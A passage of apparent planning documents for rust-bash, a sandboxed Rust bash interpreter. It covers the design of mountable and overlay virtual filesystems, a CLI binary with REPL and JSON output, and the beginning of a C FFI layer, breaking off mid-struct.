mount's filesystem and the path relative to the mount point.\nfn resolve_mount(&self, path: &Path) -> Result<(Arc<dyn VirtualFs>, PathBuf), VfsError> {\n    let mounts = self.mounts.read();\n    // Iterate mounts in reverse order (longest paths first due to BTreeMap ordering)\n    for (mount_point, fs) in mounts.iter().rev() {\n        if path.starts_with(mount_point) {\n            let relative = path.strip_prefix(mount_point).unwrap_or(Path::new(\"/\"));\n            let resolved = if relative.as_os_str().is_empty() {\n                PathBuf::from(\"/\")\n            } else {\n                PathBuf::from(\"/\").join(relative)\n            };\n            return Ok((Arc::clone(fs), resolved));\n        }\n    }\n    Err(VfsError::NotFound(path.to_path_buf()))\n}\n```\n\n**Important**: BTreeMap sorts lexicographically. For paths, this means `/project` comes before `/project/src`, which is the wrong order for longest-prefix. We need to iterate in reverse (`rev()`) or use a custom comparator. Actually, since BTreeMap sorts by key and `/project/src` > `/project` lexicographically, `rev()` iteration gives longest-prefix first. Verify this with tests.\n\n### 4c. Implement all `VirtualFs` methods via delegation\n\nEach method follows the pattern:\n```rust\nfn read_file(&self, path: &Path) -> Result<Vec<u8>, VfsError> {\n    let (fs, relative_path) = self.resolve_mount(path)?;\n    fs.read_file(&relative_path)\n}\n```\n\n### 4d. Cross-mount operations\n\n`copy(src, dst)` and `rename(src, dst)` may span mount boundaries:\n- If `src` and `dst` resolve to the same mount → delegate directly\n- If they resolve to different mounts → for `copy`: read from src mount, write to dst mount; for `rename`: copy + delete (true rename across mounts is not possible)\n\n`hardlink(src, dst)` across mounts should return an error (hardlinks can't span filesystems, matching real Unix behavior).\n\n### 4e. Directory listings at mount boundaries\n\nWhen listing a directory that is a mount point's parent, the listing should include the mount point as a directory entry even if it doesn't exist in the parent's filesystem. For example, if `/project` is a mount point but the root InMemoryFs has no `/project` directory, `readdir(\"/\")` should still show `project`.\n\nImplementation:\n1. Get entries from the underlying mount for this path\n2. Add synthetic directory entries for any child mount points at this level\n3. Deduplicate\n\n### 4f. Implement `deep_clone()`\n\n```rust\nfn deep_clone(&self) -> Arc<dyn VirtualFs> {\n    let mounts = self.mounts.read();\n    let cloned_mounts: BTreeMap<PathBuf, Arc<dyn VirtualFs>> = mounts\n        .iter()\n        .map(|(path, fs)| (path.clone(), fs.deep_clone()))\n        .collect();\n    Arc::new(MountableFs {\n        mounts: Arc::new(RwLock::new(cloned_mounts)),\n    })\n}\n```\n\n### 4g. Glob across mounts\n\nGlob patterns may span multiple mounts. For example, `/*` on a MountableFs with mounts at `/` and `/project` should include entries from both.\n\nImplementation:\n1. Determine which mounts could match the pattern prefix\n2. Delegate glob to each relevant mount\n3. Re-prefix results with the mount point\n4. Merge and deduplicate\n\n### 4h. Register module and export\n\n- Add `mod mountable;` to `vfs/mod.rs`\n- Add `pub use mountable::MountableFs;` to `vfs/mod.rs`\n- Add `MountableFs` to `lib.rs` re-exports\n\n### 4i. Tests\n\n- **Basic delegation:** read/write through mount points\n- **Longest-prefix:** `/project/src` mount preferred over `/project` for paths under `/project/src/`\n- **Cross-mount copy:** copy from one mount to another\n- **Cross-mount rename:** rename across mounts (copy + delete semantics)\n- **Directory listing at boundaries:** mount points appear as directories\n- **Mount at root:** single mount at `/` works as full delegation\n- **Multiple mounts:** complex setup with 3+ backends at different points\n- **deep_clone isolation:** mutations in clone don't affect original mounts\n- **deep_clone with ReadWriteFs mount:** deep_clone creates a new ReadWriteFs pointing at same path (no isolation for real FS mounts — correct behavior, since ReadWriteFs is a passthrough)\n- **Glob across mounts:** pattern spanning mount boundary returns merged results\n- **No mount found:** operation on unmounted path returns NotFound (when no root mount exists)\n- **`exists()` at mount point itself:** mount points are treated as existing directories\n- **Full integration:** create shell with MountableFs via builder, run commands\n\n**Exit criteria**: MountableFs passes all tests. Longest-prefix matching is correct. Cross-mount operations work. `cargo clippy -- -D warnings` clean.\n\n---\n\n## Phase 5 — Integration Tests & Documentation\n\n> End-to-end tests and documentation updates.\n\n### 5a. Integration tests via the builder API\n\nTest each backend through the full `RustBash` API:\n\n```rust\n// OverlayFs integration\nlet overlay = OverlayFs::new(\"/tmp/test_project\")?;\nlet mut shell = RustBash::builder()\n    .fs(Arc::new(overlay))\n    .cwd(\"/\")\n    .build()?;\nlet result = shell.exec(\"cat /real_file.txt\")?; // reads from disk\nshell.exec(\"echo new > /real_file.txt\")?;        // writes to memory only\n// verify disk file unchanged\n\n// MountableFs integration\nlet mountable = MountableFs::new()\n    .mount(\"/\", Arc::new(InMemoryFs::new()))\n    .mount(\"/project\", Arc::new(OverlayFs::new(\"./myproject\")?));\nlet mut shell = RustBash::builder()\n    .fs(Arc::new(mountable))\n    .build()?;\n```\n\n### 5b. Subshell isolation tests\n\nVerify that subshells work correctly with each backend:\n```bash\n# Subshell writes don't leak back\necho before > /file.txt\n(echo after > /file.txt)\ncat /file.txt  # should print \"before\"\n```\n\nTest with OverlayFs and MountableFs specifically.\n\n### 5c. Documentation updates\n\n- Update `docs/guidebook/05-virtual-filesystem.md`: change **(planned)** to implemented descriptions for OverlayFs, ReadWriteFs, MountableFs\n- Update `docs/guidebook/10-implementation-plan.md`: mark M4.1, M4.2, M4.3 with ✅\n- Update `README.md`: add examples for new filesystem backends in the builder API section\n- Add doc-comments with usage examples on each backend's public types\n\n**Exit criteria**: All tests pass. `cargo fmt && cargo clippy -- -D warnings && cargo test` clean. Documentation matches implementation.\n\n---\n\n## Build Order and Dependencies\n\n```\nPhase 1 (trait + builder) ─── foundation for all backends\n  │\nPhase 2 (ReadWriteFs) ──────── simplest backend, validates the pattern\n  │\nPhase 3 (OverlayFs) ────────── depends on InMemoryFs + real FS reading patterns\n  │\nPhase 4 (MountableFs) ──────── composes other backends, depends on all prior\n  │\nPhase 5 (integration + docs) ─ depends on all above\n```\n\n**Recommended execution**: Phases 1 → 2 → 3 → 4 → 5 (strictly sequential). Phase 1 is a prerequisite for all others. Phase 4 benefits from having both ReadWriteFs and OverlayFs available for realistic composite setups.\n\n---\n\n## Risk Register\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| `std::fs` platform differences (Windows) | Medium | Low | Target Unix first (linux); use `#[cfg(unix)]` for mode/symlink. Cross-platform can be deferred. |\n| OverlayFs copy-up complexity | Medium | Medium | Start with file-level copy-up only; directory copy-up can be deferred if not needed by common commands |\n| MountableFs cross-mount rename semantics | Low | Low | Use copy+delete; document that rename across mounts is not atomic |\n| Glob performance on real FS | Medium | Low | Apply the same `max_glob_results` limit; real FS glob is bounded by the execution limit |\n| `deep_clone` on MountableFs is expensive | Low | Low | Only called for subshells; typical usage has 2-3 mounts |\n| `utimes` API availability | Low | Low | `std::fs::File::set_times()` is stable since Rust 1.75; we're on a recent edition |\n| BTreeMap ordering for longest-prefix | Low | Medium | Validate with explicit tests; the lexicographic order of paths is well-defined |\n\n---\n\n## Open Design Decisions\n\n1. **Should `OverlayFs::new()` accept `Arc<dyn VirtualFs>` instead of `PathBuf` for the lower layer?** The guidebook specifies `PathBuf` (real directory). Using `Arc<dyn VirtualFs>` would be more general (overlay any backend), but adds complexity and deviates from the spec. **Recommendation: Start with PathBuf as specified. Add a `from_layers(lower, upper)` constructor later if needed.**\n\n2. **Should `ReadWriteFs` restrict to Unix?** The `chmod`, `symlink`, `hardlink` methods use Unix-specific APIs. **Recommendation: Use `#[cfg(unix)]` for these methods, returning `VfsError::IoError(\"not supported on this platform\")` on non-Unix. The rest works cross-platform.**\n\n3. **Should `MountableFs::mount()` take `&self` or consume `self`?** Builder pattern (consuming `self`) is cleaner for construction, but doesn't allow runtime mount/unmount. **Recommendation: Builder pattern for construction. Add `mount_at`/`unmount` methods on `&self` (with interior mutability) only if a runtime use case emerges.**\n","/home/user/docs/plans/M5.1.md":"# Milestone 5.1: CLI Binary — Implementation Plan\n\n## Problem Statement\n\nrust-bash is a fully-featured sandboxed bash interpreter (80 commands, 4 filesystem backends, execution limits, network policy) available only as a Rust library crate. To make it usable by people who don't write Rust — and to enable quick shell experimentation from the terminal — we need a standalone CLI binary.\n\nM5.1 delivers a single static binary (`rust-bash`) that supports:\n- **`-c 'command'`** — execute a command string and exit\n- **Script file argument** — `rust-bash script.sh` reads and executes the file\n- **Stdin reading** — `echo 'echo hello' | rust-bash` reads piped input\n- **Interactive REPL** — readline-based shell when run with no input and a TTY\n- **`--files`** — seed the virtual filesystem from host files/directories\n- **`--cwd`** — set the initial working directory\n- **`--env`** — set environment variables\n- **`--json`** — machine-readable JSON output\n\nChapter 8 of the guidebook specifies the target interface.\n\n## M1–M4 Carryover\n\nAll previous milestones are complete (✅ across M1–M4). No open items need to be addressed.\n\nThe existing `examples/shell.rs` provides a development REPL with `--env` and `--files` flags using `rustyline`. Its logic (readline integration, host-directory file loading, prompt formatting, command completion) will be adapted for the production CLI. The example itself will be kept as a minimal library-usage demonstration.\n\n## Key Design Decisions\n\n### 1. Feature-gated CLI dependencies\n\n`clap` and `rustyline` add significant compile time and binary size. Library-only consumers should not pay this cost. Solution: gate them behind a `cli` feature (default-enabled) using optional dependencies.\n\n```toml\n[features]\ndefault = [\"cli\"]\ncli = [\"dep:clap\", \"dep:rustyline\"]\n\n[[bin]]\nname = \"rust-bash\"\nrequired-features = [\"cli\"]\n```\n\nLibrary users adding `rust-bash = { ..., default-features = false }` won't pull in CLI dependencies. The `[[bin]]` section with `required-features` ensures the binary isn't built when the feature is off.\n\n### 2. `--files` format\n\nSupport two patterns matching the guidebook spec:\n- **File mapping**: `--files HOST_PATH:VFS_PATH` — copies a single host file (or directory tree) into the VFS at the specified path.\n- **Directory seeding**: `--files HOST_DIR` — recursively copies all files from the host directory into the VFS root.\n\nThe first `:` in the value acts as separator. If the value contains no `:`, it's treated as a host directory mapped to VFS root.\n\n### 3. Script file execution\n\n`rust-bash script.sh` reads the host file and executes its contents. This is standard shell behavior and natural to expect, even though the guidebook doesn't list it explicitly.\n\n### 4. Execution mode priority\n\nWhen multiple input sources are possible, use this precedence (matching standard shell conventions):\n1. **`-c 'command'`** — if present, execute the command string and exit\n2. **Positional `script.sh`** — if present, read the host file and execute its contents\n3. **Stdin is not a TTY** — read all of stdin and execute\n4. **Stdin is a TTY** — start interactive REPL\n\n### 5. Exit code behavior\n\nThe binary's exit code matches the last command executed, following bash convention. For errors internal to the CLI (bad flags, missing files), exit with code 2 (standard for usage errors). Use `fn main() -> ExitCode` to avoid `std::process::exit()` which bypasses Drop implementations (important for REPL history saving).\n\n### 6. `--json` scope\n\n`--json` only affects **execution output** (results from `-c`, script, or stdin modes). CLI-level errors (invalid flags, missing files, unreadable scripts) always produce plain text on stderr with exit 2, regardless of `--json`. `--json` is not supported in interactive REPL mode — if both `--json` and REPL mode are triggered, the binary prints an error and exits 2.\n\n## Dependencies\n\n### New runtime dependencies (optional, CLI-only)\n\n| Crate | Version | Purpose |\n|-------|---------|---------|\n| `clap` | latest stable, with `derive` feature | Argument parsing with derive macros |\n\n### Moved from dev-dependencies to optional dependencies\n\n| Crate | Version | Purpose |\n|-------|---------|---------|\n| `rustyline` | `17.0.2` (already pinned) | Readline for interactive REPL |\n\n### New dev-dependencies\n\n| Crate | Version | Purpose |\n|-------|---------|---------|\n| `assert_cmd` | latest stable | CLI binary integration testing |\n| `predicates` | latest stable | Assertion helpers for CLI test output |\n\n## File Organization\n\n```\nsrc/\n├── main.rs             (new: CLI entry point — arg parsing, mode dispatch, REPL)\n├── lib.rs              (existing, minor update: no structural changes needed)\nCargo.toml              (updated: features, optional deps, [[bin]] section)\nexamples/\n├── shell.rs            (existing: updated doc comment noting production CLI)\ntests/\n├── cli.rs              (new: CLI binary integration tests)\n```\n\nAll CLI logic lives in `src/main.rs`. If it grows beyond ~400 lines during implementation, extract REPL and file-loading helpers into `src/cli/` submodules.\n\n---\n\n## Phase 1 — Binary Scaffold & Argument Parsing ✅\n\n> Set up the binary target with all CLI flags defined. Verify `--help` and `--version` work.\n\n### 1a. Update `Cargo.toml`\n\n- Add `[features]` section: `default = [\"cli\"]`, `cli = [\"dep:clap\", \"dep:rustyline\"]`\n- Move `rustyline` from `[dev-dependencies]` to `[dependencies]` as `optional = true`\n- Add `clap = { version = \"...\", features = [\"derive\"], optional = true }` to `[dependencies]`\n- Add `assert_cmd` and `predicates` to `[dev-dependencies]`\n- Add `[[bin]]` section: `name = \"rust-bash\"`, `required-features = [\"cli\"]`\n- Verify `[package]` metadata: `description`, `license`, `keywords`\n\n### 1b. Create `src/main.rs` with clap definitions\n\nDefine the CLI using clap's derive API:\n\n```rust\nuse clap::Parser;\n\n/// A sandboxed bash interpreter with a virtual filesystem\n#[derive(Parser)]\n#[command(name = \"rust-bash\", version)]\nstruct Cli {\n    /// Execute a command string and exit\n    #[arg(short = 'c')]\n    command: Option<String>,\n\n    /// Seed VFS from host files/directories (HOST:VFS or HOST_DIR)\n    #[arg(long = \"files\", value_name = \"MAPPING\")]\n    file_mappings: Vec<String>,\n\n    /// Set initial working directory\n    #[arg(long, value_name = \"DIR\")]\n    cwd: Option<String>,\n\n    /// Set an environment variable (KEY=VALUE, repeatable)\n    #[arg(long, value_name = \"KEY=VALUE\")]\n    env: Vec<String>,\n\n    /// Output results as JSON: {\"stdout\":\"...\",\"stderr\":\"...\",\"exit_code\":N}\n    #[arg(long)]\n    json: bool,\n\n    /// Script file to execute, followed by optional positional arguments ($1, $2, ...)\n    #[arg(trailing_var_arg = true)]\n    args: Vec<String>,\n}\n```\n\nThe `args` field captures both the script file (first element) and any positional arguments to pass as `$1`, `$2`, etc. `trailing_var_arg = true` allows arguments after the script name even if they look like flags.\n\n### 1c. Wire up minimal execution\n\nImplement `main()` that:\n1. Parses arguments with `Cli::parse()`\n2. Builds a `RustBash` instance with `RustBashBuilder::new().build()`\n3. If `-c` is present, executes and prints stdout/stderr\n4. Returns the command's exit code\n\nUse `fn main() -> ExitCode` (stable since Rust 1.61) to avoid `std::process::exit()`, which skips Drop implementations. This matters for the REPL path where history must be saved. Structure `main()` to compute the exit code, perform all cleanup, then return.\n\n### 1d. Verify build\n\n- `cargo build` succeeds (binary + library)\n- `cargo run -- --help` shows formatted usage text\n- `cargo run -- --version` shows crate version\n- `cargo build --lib --no-default-features` succeeds without pulling in `clap`/`rustyline`\n\n### 1e. Documentation\n\n- Ensure `Cargo.toml` package metadata (`description`, `license`) is accurate\n\n**Exit criteria**: `cargo run -- -c 'echo hello'` prints `hello\\n` and exits 0. `cargo run -- --help` shows formatted usage. `cargo build --lib --no-default-features` succeeds.\n\n---\n\n## Phase 2 — Command Execution & Output Modes ✅\n\n> Implement all four execution modes (-c, script file, stdin, REPL placeholder) and JSON output.\n\n### 2a. Implement `-c` execution\n\n- Execute the command string via `RustBash::exec()`\n- Normal mode: print stdout to process stdout, stderr to process stderr\n- Exit with the command's exit code\n\n### 2b. Implement `--json` output mode\n\nWhen `--json` is set, print a single JSON object to stdout:\n\n```json\n{\"stdout\":\"hello\\n\",\"stderr\":\"\",\"exit_code\":0}\n```\n\nUse `serde_json::json!()` (already in dependencies) to construct the output. The process still exits with the command's exit code (the JSON `exit_code` field is a convenience for parsers, not a replacement for the process exit code). This matches standard CLI tool behavior — `rust-bash --json -c 'false' && echo ok` correctly does not print \"ok\".\n\n**`--json` scope:** `--json` only affects **execution output**. CLI-level errors (bad flags, missing host file in `--files`, unreadable script file) always produce plain text on stderr with exit code 2, regardless of `--json`. This matches how tools like `jq` and `gh` behave.\n\n### 2c. Implement script file execution\n\nWhen positional arguments are provided (`cli.args` is non-empty):\n1. The first element is the script path; remaining elements are positional arguments (`$1`, `$2`, ...)\n2. Read the script file from the host filesystem (`std::fs::read_to_string()`)\n3. Set `$0` to the script path (via the interpreter's `shell_name` field)\n4. Set positional parameters `$1`, `$2`, ... from the remaining arguments\n5. Execute via `RustBash::exec()`\n6. Output results in normal or JSON mode\n7. If the file doesn't exist or can't be read: print error to stderr, exit 2\n\n### 2d. Implement stdin execution\n\nWhen no `-c` or `script` is given and stdin is not a TTY:\n1. Read all of stdin (`std::io::read_to_string()`)\n2. Execute via `RustBash::exec()`\n3. Output results in normal or JSON mode\n\nUse `std::io::IsTerminal` to detect TTY.\n\n### 2e. Mode dispatch skeleton\n\nImplement the mode priority logic:\n```\nif cli.command.is_some() → execute_command()\nelse if !cli.args.is_empty() → execute_script()\nelse if !stdin.is_terminal() → execute_stdin()\nelse → start_repl() // placeholder for Phase 4\n```\n\n### 2f. Documentation\n\n- Update guidebook Chapter 8: remove **(planned)** from CLI section header\n- Ensure `-c`, stdin, and script file examples in Chapter 8 are accurate\n\n**Exit criteria**: `rust-bash -c 'echo hello'` prints `hello\\n` and exits 0. `echo 'echo hi' | rust-bash` prints `hi\\n`. `rust-bash script.sh arg1` executes the script with `$1=arg1`. `--json -c 'echo x'` outputs valid JSON. CLI errors (bad file path) exit 2 with plain stderr.\n\n---\n\n## Phase 3 — File Seeding & Environment Configuration ✅\n\n> Support `--files`, `--env`, and `--cwd` flags to configure the sandbox before execution.\n\n### 3a. Implement `--files` parsing\n\nFor each `--files` value:\n- **Contains `:`**: Split on the first `:` into `(host_path, vfs_path)`.\n  - If `host_path` is a file: read its bytes, insert at `vfs_path`\n  - If `host_path` is a directory: recursively load all files, prefixed with `vfs_path`\n- **No `:`**: Treat the entire value as a host directory, recursively load into VFS root (`/`)\n\nAdapt the `load_host_dir()` function from `examples/shell.rs`.\n\n**Error handling:**\n- Host path doesn't exist → `\"error: path not found: {path}\"`, exit 2\n- Not a file or directory → `\"error: not a file or directory: {path}\"`, exit 2\n\n### 3b. Implement `--env` parsing\n\nFor each `--env` value:\n- Split on the first `=` into `(key, value)`\n- No `=` found → `\"error: invalid --env format, expected KEY=VALUE: {val}\"`, exit 2\n\nProvide default environment when no `--env` flags are given:\n- `HOME=/home`, `USER=user`, `PWD=<cwd or />`\n\nUser-provided `--env` values override defaults.\n\n### 3c. Implement `--cwd`\n\n- Pass to `RustBashBuilder::cwd()`\n- Default to `/` if not specified\n\n### 3d. Wire all flags into `RustBashBuilder`\n\n```rust\nlet mut builder = RustBashBuilder::new()\n    .files(files)\n    .env(env);\nif let Some(ref cwd) = cli.cwd {\n    builder = builder.cwd(cwd.clone());\n}\nlet mut shell = builder.build()?;\n```\n\n### 3e. Documentation\n\n- Update guidebook Chapter 8: ensure `--files` examples match the implemented HOST:VFS syntax\n- Update README.md: add a \"CLI Usage\" section showing file seeding and env examples\n\n**Exit criteria**: `--files /tmp/test.txt:/data.txt -c 'cat /data.txt'` outputs file contents. `--env FOO=bar -c 'echo $FOO'` prints `bar\\n`. `--cwd /app -c pwd` prints `/app\\n`. Invalid `--files` path exits 2.\n\n---\n\n## Phase 4 — Interactive REPL ✅\n\n> Start a readline-based interactive shell when no command is given and stdin is a TTY.\n\n### 4a. Adapt REPL from `examples/shell.rs`\n\nMove and adapt the following into `src/main.rs`:\n- **`ShellHelper`** struct implementing `Completer`, `Validator`, `Highlighter`, `Hinter`\n- **Command completion**: autocomplete from `shell.command_names()` (first token only)\n- **Input validation**: multi-line support via `RustBash::is_input_complete()`\n- **Prompt**: `rust-bash:{cwd}$ ` with color (green = exit 0, red = non-zero)\n- **History**: load/save from `~/.rust_bash_history`\n- **REPL loop**: readline → exec → print → update prompt color → repeat\n\n### 4b. Integrate REPL with CLI flags\n\nThe REPL respects all sandbox configuration flags:\n- `--files` — VFS is pre-seeded before the REPL starts\n- `--env` — environment is configured before the REPL starts\n- `--cwd` — working directory is set before the REPL starts\n- `--json` — **rejected in REPL mode**: if `--json` is set and mode dispatch selects REPL, print `\"rust-bash: --json is not supported in interactive mode\"` to stderr and exit 2. JSON output requires a well-defined start/end, which conflicts with the REPL's interactive prompt. This can be revisited in a future milestone if there's a real use case (e.g., prompt-free machine-driven REPL).\n\n### 4c. Handle edge cases\n\n- **Ctrl-C**: cancel current input, print `^C`, continue REPL\n- **Ctrl-D**: graceful exit — save history, exit with `shell.last_exit_code()` (matching real bash behavior: `false` then Ctrl-D exits 1)\n- **`exit` command**: `shell.should_exit()` → break loop, use last exit code\n- **Empty input**: skip, re-prompt\n- **Exec errors** (parse failures, etc.): print error to stderr, set exit code 1, continue REPL\n\n### 4d. Update `examples/shell.rs`\n\nUpdate the doc comment at the top of the file:\n\n```rust\n//! Minimal interactive REPL demonstrating library-level embedding of rust-bash.\n//!\n//! For the production CLI binary, run: `cargo run` or `rust-bash` (after install).\n//! This example shows how to build a custom REPL using the RustBash API directly.\n```\n\n### 4e. Documentation\n\n- Update README.md: document interactive REPL usage, key bindings, history file\n- Update guidebook Chapter 8: REPL documentation matches implementation\n\n**Exit criteria**: Running `rust-bash` with a TTY starts the REPL with a colored prompt. Tab-completion works. History persists across sessions. Ctrl-D exits. `--json` in REPL mode prints error and exits 2.\n\n### 4f. Handle `examples/shell.rs` compilation\n\nSince `rustyline` moves from `[dev-dependencies]` to an optional `[dependencies]`, the example needs one of:\n- Keep `rustyline` in `[dev-dependencies]` as well (simplest; Cargo handles this correctly — dev-dep takes precedence for test/example targets)\n- Or add a `[[example]]` section with `required-features = [\"cli\"]`\n\nPrefer the first approach for simplicity.\n\n---\n\n## Phase 5 — Testing ✅\n\n> Comprehensive integration tests for all CLI modes and flag combinations.\n\n### 5a. Create `tests/cli.rs`\n\nUse `assert_cmd` to test the compiled binary end-to-end.\n\n**Execution modes:**\n- `-c 'echo hello'` → stdout `\"hello\\n\"`, exit 0\n- `-c 'exit 42'` → exit code 42\n- `-c 'echo err >&2'` → stderr `\"err\\n\"`\n- Script file: write temp file with `echo hello`, run `rust-bash temp.sh`, verify output\n- Stdin pipe: pipe `\"echo hello\"` to stdin, verify output\n\n**JSON output:**\n- `--json -c 'echo hello'` → parse JSON, verify `stdout`, `stderr`, `exit_code` fields\n- `--json -c 'exit 1'` → process exits 1, JSON has `exit_code: 1`\n- `--json -c 'echo err >&2'` → JSON `stderr` field contains `\"err\\n\"`\n\n**File seeding:**\n- `--files HOST_FILE:VFS_PATH -c 'cat VFS_PATH'` → outputs file contents\n- `--files HOST_DIR -c 'ls /'` → lists seeded files\n- `--files HOST_DIR:VFS_PREFIX -c 'ls VFS_PREFIX'` → lists under prefix\n- Multiple `--files` flags combine correctly\n\n**Environment & working directory:**\n- `--env FOO=bar -c 'echo $FOO'` → `\"bar\\n\"`\n- `--env A=1 --env B=2 -c 'echo $A $B'` → `\"1 2\\n\"`\n- `--cwd /app -c pwd` → `\"/app\\n\"`\n- `--cwd` + `--env` + `--files` combined\n\n**Error cases:**\n- Nonexistent script file → exit 2, error message on stderr\n- Invalid `--env` format (no `=`) → exit 2, error message on stderr\n- Nonexistent `--files` host path → exit 2, error message on stderr\n- `-c` with empty string → exit 0 (no-op)\n\n**Flag interactions:**\n- `-c` takes priority over positional script argument\n- `-c` takes priority over stdin\n\n**Script positional arguments:**\n- `rust-bash script.sh arg1 arg2` with script containing `echo $1 $2` → `arg1 arg2\\n`\n- `rust-bash script.sh` with script containing `echo $0` → outputs the script path\n\n**Additional edge cases:**\n- `rust-bash -- -c-looking-script.sh` → treats `-c-looking-script.sh` as a script file (verifies `--` stops flag parsing)\n- `--cwd /nonexistent -c pwd` → succeeds (builder auto-creates the directory)\n- `--files host.txt:/path -c 'cat /path'` with binary host file → binary content passes through correctly\n- `-c $'echo a\\necho b'` with multi-line command string → `\"a\\nb\\n\"`\n- `echo -n '' | rust-bash` → exit 0 (empty script is a no-op)\n- `--env HOME=/custom -c 'echo $HOME'` → `/custom` (user overrides defaults)\n- `--json` without `-c` and with TTY → exit 2, error on stderr\n- `--files /path/with:colon` → handled gracefully (first `:` is separator, so this maps host `/path/with` to VFS `colon`; document this edge case)\n\n### 5b. Run full test suite\n\n- `cargo test` passes (existing tests unaffected)\n- `cargo clippy -- -D warnings` passes\n- `cargo fmt --check` passes\n\n### 5c. Documentation\n\n- If the CLI testing approach adds anything novel, note it in guidebook Chapter 9\n\n**Exit criteria**: `cargo test` passes (all existing + new CLI tests). `cargo clippy -- -D warnings` clean. `cargo fmt --check` clean.\n\n---\n\n## Phase 6 — Final Documentation & Recipes ✅\n\n> Comprehensive documentation sweep and a new CLI usage recipe.\n\n### 6a. README.md final update\n\n- Update status line: mention M5.1 (CLI binary) as complete\n- Add or expand \"CLI Usage\" section with complete flag reference and examples:\n  - `-c` execution\n  - Script file execution\n  - Stdin piping\n  - `--files`, `--env`, `--cwd`\n  - `--json` output\n  - Interactive REPL\n- Add \"Installation\" section: `cargo install --path .` or build from source\n- Update \"Roadmap\" section: mark CLI binary as complete\n\n### 6b. Guidebook updates\n\n- **Chapter 8**: Fully update CLI section — remove all **(planned)** markers, ensure every example matches the implementation exactly\n- **Chapter 10**: Mark M5.1 with ✅\n\n### 6c. New recipe: `docs/recipes/cli-usage.md`\n\nA self-contained, task-focused recipe covering:\n- Quick start: `rust-bash -c 'echo hello'`\n- Seeding files from disk: `--files` with file mapping and directory seeding\n- Setting environment: `--env` examples\n- JSON output for scripting: `--json` parsing with `jq`\n- Interactive REPL: startup, key bindings, history\n- Piping commands: `echo '...' | rust-bash`\n- Combining flags: realistic multi-flag usage example\n\n### 6d. Update `docs/recipes/README.md`\n\nAdd the CLI recipe to the recipe table:\n\n```markdown\n| [CLI Usage](cli-usage.md) | Run commands, seed files, and use the interactive REPL from the command line |\n```\n\n**Exit criteria**: README.md, guidebook Ch. 8, Ch. 10, recipe, and recipe README are all updated. `docs/recipes/cli-usage.md` exists with working examples. M5.1 is marked ✅ in Ch. 10.\n\n---\n\n## Risk Register\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| `clap` + `rustyline` bloat for library users | Medium | Low | Feature-gated behind `cli`; library users opt out with `default-features = false` |\n| Paths with `:` in `--files` parsing | Medium | Low | Split on first `:` only; document the constraint |\n| REPL testing difficulty | Medium | Low | Test execution logic via `-c` and stdin; REPL is thin wrapper |\n| Static binary size | Low | Medium | Feature-gate heavy deps; musl target for static linking (separate step, not in M5.1 scope) |\n| `rustyline` version conflict after move from dev-dep | Low | Low | Same version pinned; no functional change |\n","/home/user/docs/plans/M5.2.md":"# Milestone 5.2: C FFI — Implementation Plan\n\n## Problem Statement\n\nrust-bash is a fully-featured sandboxed bash interpreter (80 commands, 4 filesystem backends, execution limits, network policy) available only as a Rust library crate. To enable embedding from Python, Go, Ruby, C, C++, or any language with C interop capabilities, we need a stable C-compatible ABI. This is one of the most impactful integration targets — nearly every language has C FFI support.\n\nM5.2 delivers:\n- **Shared library** (`.so` / `.dylib` / `.dll`) with a stable C ABI\n- **Six exported functions**: `rust_bash_create`, `rust_bash_exec`, `rust_bash_result_free`, `rust_bash_free`, `rust_bash_last_error`, `rust_bash_version`\n- **JSON-based configuration** for language-agnostic sandbox setup\n- **Generated C header** (`include/rust_bash.h`) via `cbindgen`\n- **Cross-language examples**: Python (ctypes) and Go (cgo)\n\nChapter 8 of the guidebook specifies the target C API interface.\n\n## M1–M4 Carryover\n\nAll previous milestones (M1–M4) are complete. The Rust API (`RustBashBuilder`, `RustBash::exec()`, `ExecResult`) is stable and provides the foundation that the FFI layer wraps. No open items need to be addressed.\n\n## Key Design Decisions\n\n### 1. Feature-gated FFI\n\nThe FFI module is gated behind an `ffi` Cargo feature. Library-only Rust consumers don't need FFI symbols in their build.\n\n```toml\n[features]\nffi = [\"dep:serde\"]\n\n[lib]\ncrate-type = [\"lib\", \"cdylib\"]\n```\n\nThe FFI module is conditionally compiled:\n```rust\n#[cfg(feature = \"ffi\")]\npub mod ffi;\n```\n\nBuild the shared library: `cargo build --features ffi --release`\n\n> **Note on crate-type:** `crate-type` includes `cdylib` unconditionally because Cargo does not support conditional crate types via features. When the `ffi` feature is off, the cdylib is produced but exports no `extern \"C\"` symbols. The additional link time can be 5–15 seconds in debug builds. If `cargo test` cycle time degrades noticeably, the FFI layer should be extracted into a separate `rust-bash-ffi/` workspace crate.\n\nIf M5.1 has already been implemented and added a `[features]` section, append `ffi` to it. If not, create the section fresh.\n\n### 2. JSON Configuration\n\nConfiguration is passed as a JSON string for maximum language interop. This avoids exposing Rust's builder pattern (which doesn't map naturally to C). The JSON schema matches Chapter 8:\n\n```json\n{\n  \"files\": {\n    \"/data.txt\": \"content\",\n    \"/config.json\": \"{}\"\n  },\n  \"env\": {\n    \"USER\": \"agent\",\n    \"HOME\": \"/home/agent\"\n  },\n  \"cwd\": \"/\",\n  \"limits\": {\n    \"max_command_count\": 10000,\n    \"max_execution_time_secs\": 30\n  },\n  \"network\": {\n    \"enabled\": true,\n    \"allowed_url_prefixes\": [\"https://api.example.com/\"]\n  }\n}\n```\n\nAll fields are optional. An empty JSON object `{}` or a `NULL` pointer both create a default sandbox.\n\n### 3. Memory Ownership Model\n\nStandard C create/free ownership pattern:\n- `rust_bash_create` → heap-allocated sandbox; caller owns it, must call `rust_bash_free`\n- `rust_bash_exec` → heap-allocated `CExecResult`; caller owns it, must call `rust_bash_result_free`\n- String data in `CExecResult` is owned by the result struct — pointers are valid until `rust_bash_result_free` is called\n- `rust_bash_last_error` returns a pointer to a thread-local string — valid until the next FFI call on the same thread\n\n### 4. Error Handling via Thread-Local Last-Error\n\nFunctions that can fail return `NULL` on error. The caller retrieves the error message via `rust_bash_last_error()`, which returns a pointer to a null-terminated thread-local string (or `NULL` if no error occurred).\n\n```c\nRustBash* sb = rust_bash_create(\"{invalid json}\");\nif (sb == NULL) {\n    fprintf(stderr, \"Error: %s\\n\", rust_bash_last_error());\n}\n```\n\nThis pattern is used by many C libraries (OpenSSL, SQLite, etc.) and is straightforward for all FFI consumers.\n\n### 5. `#[repr(C)]` Result Struct with Pointer+Length Strings\n\nThe `CExecResult` struct uses `#[repr(C)]` for ABI stability. Strings are represented as pointer+length pairs (not null-terminated) to faithfully represent output that may theoretically contain null bytes.\n\n```c\ntypedef struct CExecResult {\n    const char* 